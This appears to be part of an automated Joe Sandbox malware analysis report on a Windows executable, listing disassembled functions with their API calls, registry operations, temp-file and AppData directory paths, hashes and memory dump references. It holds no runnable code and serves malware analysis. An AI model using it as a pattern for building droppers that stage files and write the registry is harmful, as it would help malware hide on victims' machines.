Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction ID: 446d876c474c9d83549856ad9cac23e68bb7371358ae7480bd0e7fa7c4692e5e
Opcode Fuzzy Hash: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction Fuzzy Hash: 1D212A7150010ABFDF129F90CE89EEF7A7DEB54388F110076B909B21E0E7B58E54AA64

Function 73B01817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 73B01BFF: GlobalFree.KERNEL32(?), ref: 73B01E74
Part of subcall function 73B01BFF: GlobalFree.KERNEL32(?), ref: 73B01E79
Part of subcall function 73B01BFF: GlobalFree.KERNEL32(?), ref: 73B01E7E

GlobalFree.KERNEL32(00000000), ref: 73B018C5
FreeLibrary.KERNEL32(?), ref: 73B0194B
GlobalFree.KERNEL32(00000000), ref: 73B01970

Part of subcall function 73B0243E: GlobalAlloc.KERNEL32(00000040,?), ref: 73B0246F

Part of subcall function 73B02810: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,73B01896,00000000), ref: 73B028E0

Part of subcall function 73B01666: wsprintfW.USER32 ref: 73B01694

Strings

, xrefs: 73B01951

Memory Dump Source

Source File: 00000000.00000002.1569059369.0000000073B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 73B00000, based on PE: true

Associated: 00000000.00000002.1568940355.0000000073B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569611314.0000000073B04000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569637966.0000000073B06000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73b00000_QNuQ5e175D.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 8ddf8b96a83183c565039990dd5ee60695c63d7fc0d3364ec6c3c365f05090d9
Instruction ID: 8234ea1bd2cbb2422e39065a30bf6b7be6ef12052fa984aa9357820ab416ca34
Opcode Fuzzy Hash: 8ddf8b96a83183c565039990dd5ee60695c63d7fc0d3364ec6c3c365f05090d9
Instruction Fuzzy Hash: CB41B6B94003059BEB199F60D9C8B993FACEF45314F184575E94B9E4C6FB78C189C760

Function 004024AF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsj924C.tmp,00000023,00000011,00000002), ref: 004024FA
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,00000000,00000011,00000002), ref: 0040253A
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,00000000,00000011,00000002), ref: 00402622

Strings

C:\Users\user\AppData\Local\Temp\nsj924C.tmp, xrefs: 004024EB, 004024F9, 00402510, 00402524, 0040252F

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsj924C.tmp
API String ID: 2655323295-1453126546
Opcode ID: 2d5a3a6cbba744cb4f49549abd2315f3a0bbe869b0ca912842418fb0edf1760d
Instruction ID: 9ef1a868ac7dccf2a0d827ba333ec8444b87bd6dca13d8647f6a5f0896484b93
Opcode Fuzzy Hash: 2d5a3a6cbba744cb4f49549abd2315f3a0bbe869b0ca912842418fb0edf1760d
Instruction Fuzzy Hash: DF11B131D00119BEEF00AFA1DE4AAAEB6B4EF44318F20443FF404B61D1D7B88E009A68

Function 00406096 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004060B4
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403550,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C), ref: 004060CF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040609B
nsa, xrefs: 004060A3

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-2042855515
Opcode ID: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction ID: 0f0e971a11aa9000600537ad3b21051f2e76e4828209a3ca974843c19b3e0847
Opcode Fuzzy Hash: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction Fuzzy Hash: B5F09076B40204BBEB00CF69ED05F9EB7ACEBA5750F11803AE901F7180E6B099648768

Function 004015E6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405EF1: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,?,00405F65,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,C:\Users\user\AppData\Local\Temp\nsj924C.tmp, 4ou,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,756F3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\QNuQ5e175D.exe"), ref: 00405EFF
Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F04
Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F1C

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040163F

Part of subcall function 00405ACB: CreateDirectoryW.KERNELBASE(00437800,?), ref: 00405B0D

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres,?,00000000,000000F0), ref: 00401672

Strings

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 00401665

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres
API String ID: 1892508949-3533886424
Opcode ID: 522b783c9de46c7eb01671ee67dcdc22f4b8e2acc15c0cd2b2b5e6563b12514b
Instruction ID: 104414052cab316a424bfe0d2ff1de268c148956b102069c6a2fab9df067ebf3
Opcode Fuzzy Hash: 522b783c9de46c7eb01671ee67dcdc22f4b8e2acc15c0cd2b2b5e6563b12514b
Instruction Fuzzy Hash: 0911BE31804514ABCF206FA5CD01AAE36B0EF14368B25493BE941B22F1C63A4A41DA5D

Function 00406445 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000000,00000000,?,?,00000800,00000000,?,?,?,?,Call,?,00000000,004066B6,80000002), ref: 0040648B
RegCloseKey.KERNELBASE(?), ref: 00406496

Strings

Call, xrefs: 0040644C

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction ID: 39ab2095516423f533248995afa5b88f9e2e33bd0920f2eea258779ff0fd120f
Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction Fuzzy Hash: AB017C72500209AADF21CF51CC09EDB3BACFB55364F01803AFD1AA21A0D778D964DBA8

Function 004020FD Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402128

Part of subcall function 004055FC: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,00000000,00425A20,756F23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
Part of subcall function 004055FC: lstrlenW.KERNEL32(0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,00000000,00425A20,756F23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
Part of subcall function 004055FC: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,0040343D,0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,00000000,00425A20,756F23A0), ref: 00405657
Part of subcall function 004055FC: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll), ref: 00405669
Part of subcall function 004055FC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
Part of subcall function 004055FC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
Part of subcall function 004055FC: SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00402139
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004021B6

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 67a013c8050cadbf48abc2068aad44e6bd126c58b8073b2edd87dd65272e994b
Instruction ID: ae41dde4eff0046a081fa93f434b6203791b13f397c20c3345ef6f3f33f6a532
Opcode Fuzzy Hash: 67a013c8050cadbf48abc2068aad44e6bd126c58b8073b2edd87dd65272e994b
Instruction Fuzzy Hash: 4B21A131904104EACF10AFA5CF89A9E7A71BF44369F30413BF105B91E5CBBD99829A2D

Function 00401BC0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00401C30
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401C42

Strings

Call, xrefs: 00401BE7, 00401BED, 00401C07

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: b2bf5aa3fb98d5d7659b4efbfb09c2738223d3c1d5b8947c58a47baf3ffb3ed2
Instruction ID: b741a03fd702b7c6772e3f95c256d95ec8b7de3af2fdc922703a565136a7d287
Opcode Fuzzy Hash: b2bf5aa3fb98d5d7659b4efbfb09c2738223d3c1d5b8947c58a47baf3ffb3ed2
Instruction Fuzzy Hash: 9521F372904150EBDB20ABA4EE85E6E33B8AB04718715063FF542B72D5C7BCE8409B9D

Function 00402324 Relevance: 4.6, APIs: 3, Instructions: 51stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004068D4: FindFirstFileW.KERNELBASE(?,0042FAB8,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,00405F97,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,C:\Users\user\AppData\Local\Temp\nsj924C.tmp, 4ou,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,756F3420,C:\Users\user\AppData\Local\Temp\), ref: 004068DF
Part of subcall function 004068D4: FindClose.KERNELBASE(00000000), ref: 004068EB

lstrlenW.KERNEL32 ref: 00402364
lstrlenW.KERNEL32(00000000), ref: 0040236F
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 00402398

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: FileFindlstrlen$CloseFirstOperation
String ID:
API String ID: 1486964399-0
Opcode ID: 8ce371ef362fb3a0bf5470d2f9de7d7a8b9c8f0d3a32a51a843dbca6af91aa01
Instruction ID: efc15b5f6e7b569f76b1b900a6dd714e3f258eaed93f5a56bcbfb146dffa85c7
Opcode Fuzzy Hash: 8ce371ef362fb3a0bf5470d2f9de7d7a8b9c8f0d3a32a51a843dbca6af91aa01
Instruction Fuzzy Hash: 94118671914318AADB00EFF58D0AA9EB7F8AF04314F10443FA405F71D5D7B8C9418B69

Function 004025C3 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004025F6
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 00402609
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,00000000,00000011,00000002), ref: 00402622

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: b3e66f98151b13811c6deab5670c9eebffc93282c8efb5a28582c7ee2f6ef350
Instruction ID: 66810f11062e6ea255b80fddf1e3d4c9698f673e023b75e7ff91682f7f8ae36f
Opcode Fuzzy Hash: b3e66f98151b13811c6deab5670c9eebffc93282c8efb5a28582c7ee2f6ef350
Instruction Fuzzy Hash: 43017C71A04615ABEB149F94DE58AAFB668EF80348F10443EF101B61D0D7B85E41976D

Function 0040254F Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000033), ref: 00402580
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,00000000,00000011,00000002), ref: 00402622

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 49ca1381ded4af27f8ac224b17b3ae694fb74f22b67379b644ce572c4f680cb7
Instruction ID: 5bae25e85081f80c41e61f77185b89043c8d74e7c66b6edfbb666f5a0c3c1719
Opcode Fuzzy Hash: 49ca1381ded4af27f8ac224b17b3ae694fb74f22b67379b644ce572c4f680cb7
Instruction Fuzzy Hash: 45118C71904216EADF15DFA0CA599AEB7B4FF04348F20443FE402B62D0D3B84A45DB9E

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(0040A2D8,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a48e27458ca857e7bf1c95edfaa4f4fc3f64b4f364872359a8149092e2b898a4
Instruction ID: 0adee223d2b7ba7d815a442a2885e1f2b60e3b86eb1a18037e9b6c54a102055c
Opcode Fuzzy Hash: a48e27458ca857e7bf1c95edfaa4f4fc3f64b4f364872359a8149092e2b898a4
Instruction Fuzzy Hash: 0E01FF31620220AFE7195B389E05B6B3698E710329F10863FF851F62F1EA78DC429B4C

Function 00402459 Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040247B
RegCloseKey.ADVAPI32(00000000), ref: 00402484

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: 263822df44c0b265f16a0eeb88216eb0e8276d8e6a5932a421656751ee5808a7
Instruction ID: 8c17455a9467dbb84b7eb3278e4b377a62f271589af7dc4cff81b1a675067d18
Opcode Fuzzy Hash: 263822df44c0b265f16a0eeb88216eb0e8276d8e6a5932a421656751ee5808a7
Instruction Fuzzy Hash: 6CF06832A045219BDB10BBA5DA8E5AE62A5AB44354F11443FE502B71C1CAF84D02977D

Function 00405ACB Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00437800,?), ref: 00405B0D
GetLastError.KERNEL32 ref: 00405B1B

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 93d1f65b513afb97053b6d969de6af344d99c991354c8e43ed6bd2c6eb9068ab
Instruction ID: 83f907d2df1d2810bbbe2cf052e9f9ea9028798b61a5f10ffece60f544324ce8
Opcode Fuzzy Hash: 93d1f65b513afb97053b6d969de6af344d99c991354c8e43ed6bd2c6eb9068ab
